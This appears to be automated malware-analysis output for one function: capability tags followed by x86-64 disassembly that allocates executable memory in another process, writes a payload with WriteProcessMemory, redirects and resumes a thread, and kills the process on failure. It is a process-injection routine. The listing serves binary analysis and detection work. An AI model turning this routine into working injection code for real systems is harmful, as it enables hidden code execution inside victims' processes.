Function at 0x1400dd374
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], r9
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x560
and qword [rsp + 0x90], 0
mov rsi, rcx
mov r14, rdx
lea rcx, [rsp + 0x98]
xor edx, edx
mov r8d, 0x4c8
call fcn.1400fa680
and qword [rsp + 0x5a8], 0
and qword [rsp + 0x70], 0
mov dl, byte [0x14013184d]
xor eax, eax
mov r12b, 4
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x5f0]
test rax, rax
lea rbx, [rsp + 0x70]
lea rdi, [r14 + 0x30]
cmovne rbx, rax
cmp dl, r12b
lea rax, [r14 + 0x34]
cmove rdi, rax
cmp dl, r12b
jne 0x1400dd401
mov eax, dword [rdi]
jmp 0x1400dd404
mov rax, qword [rdi]
movzx ecx, byte [0x140135279]
movzx ebp, byte [0x140135278]
mov eax, eax
mov qword [rsp + 0x60], rcx
mov ecx, dword [r14 + 0x28]
mov qword [rsp + 0x5a0], rax
add rcx, rax
cmp dl, r12b
jne 0x1400dd436
mov dword [rsp + rbp + 0x90], ecx
jmp 0x1400dd43e
mov qword [rsp + rbp + 0x90], rcx
mov rax, qword [rsp + 0x5f8]
mov ecx, 0x3e
cmp cx, word [rax]
jne 0x1400dd454
add rax, 2
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x5e0]
lea r9, [rsp + 0x5a8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5d8]
lea r8, [rsp + 0x5a0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x5d0]
lea rdx, [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x5c8]
mov rcx, rsi
mov dword [rsp + 0x20], eax
call fcn.1400dd218
mov esi, eax
cmp byte [0x14013184d], r12b
jne 0x1400dd4cb
mov r12d, dword [rdi]
jmp 0x1400dd4ce
mov r12, qword [rdi]
cmp qword [rbx], 0xffffffffffffffff
mov r15d, dword [r14 + 0x28]
jne 0x1400dd4dc
and qword [rbx], 0
cmp qword [rbx + 8], 0xffffffffffffffff
jne 0x1400dd4e8
and qword [rbx + 8], 0
test eax, eax
jle 0x1400dd743
mov rdx, qword [rsp + 0x5a0]
and qword [rsp + 0x5f8], 0
and qword [rsp + 0x68], 0
cmp r12, rdx
jne 0x1400dd546
mov eax, dword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5a8]
cmp r8, rax
jb 0x1400dd546
mov rcx, qword [rbx]
lea rax, [rsp + 0x68]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x5f8], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x1400dd5ed
call fcn.1400dd010
test eax, eax
je 0x1400dd717
mov rcx, qword [rbx]
call fcn.1400dd11c
test eax, eax
je 0x1400dd58b
mov r8d, dword [rsp + 0x5c0]
mov rcx, qword [rbx]
mov r9d, 0x3000
mov rdx, r12
mov dword [rsp + 0x20], 0x40
call qword [0x1401351d8]
mov qword [rsp + 0x5f8], rax
jmp 0x1400dd593
mov rax, qword [rsp + 0x5f8]
test rax, rax
jne 0x1400dd5fc
mov rcx, r14
call fcn.1400dd020
test eax, eax
je 0x1400dd717
mov r8d, dword [rsp + 0x5c0]
mov rcx, qword [rbx]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [0x1401351d8]
mov qword [rsp + 0x5f8], rax
test rax, rax
je 0x1400dd717
mov rdx, qword [rsp + 0x5b8]
mov r8, rax
mov rcx, r14
call fcn.1400dd054
cmp qword [rsp + 0x5f8], 0
je 0x1400dd717
mov al, byte [0x14013184d]
and qword [rsp + 0x5a8], 0
mov rcx, qword [rsp + 0x60]
mov r14b, 4
cmp al, r14b
jne 0x1400dd621
mov ecx, dword [rsp + rcx + 0x90]
jmp 0x1400dd629
mov rcx, qword [rsp + rcx + 0x90]
movsx r9, al
movsx eax, al
lea r8, [rsp + 0x5f8]
add eax, eax
movsxd rdx, eax
lea rax, [rsp + 0x5a8]
add rdx, rcx
mov rcx, qword [rbx]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x5f8]
cmp byte [0x14013184d], r14b
jne 0x1400dd66b
mov dword [rdi], edx
jmp 0x1400dd66e
mov qword [rdi], rdx
mov r9d, dword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5b8]
mov rcx, qword [rbx]
lea rax, [rsp + 0x5a8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400dd712
mov rcx, qword [rsp + 0x5f8]
lea rax, [r12 + r15]
cmp rcx, qword [rsp + 0x5a0]
je 0x1400dd6b2
lea rax, [rcx + r15]
cmp byte [0x14013184d], r14b
jne 0x1400dd6c4
mov dword [rsp + rbp + 0x90], eax
jmp 0x1400dd6cc
mov qword [rsp + rbp + 0x90], rax
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0x90]
call qword [0x1401351d0]
test byte [rsp + 0x5d0], r14b
jne 0x1400dd6f2
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp qword [rsp + 0x5f0], 0
jne 0x1400dd743
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400dd743
or esi, 0xffffffff
jmp 0x1400dd71c
mov esi, 0xfffffffe
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 8], 0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx], 0
mov eax, esi
add rsp, 0x560
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret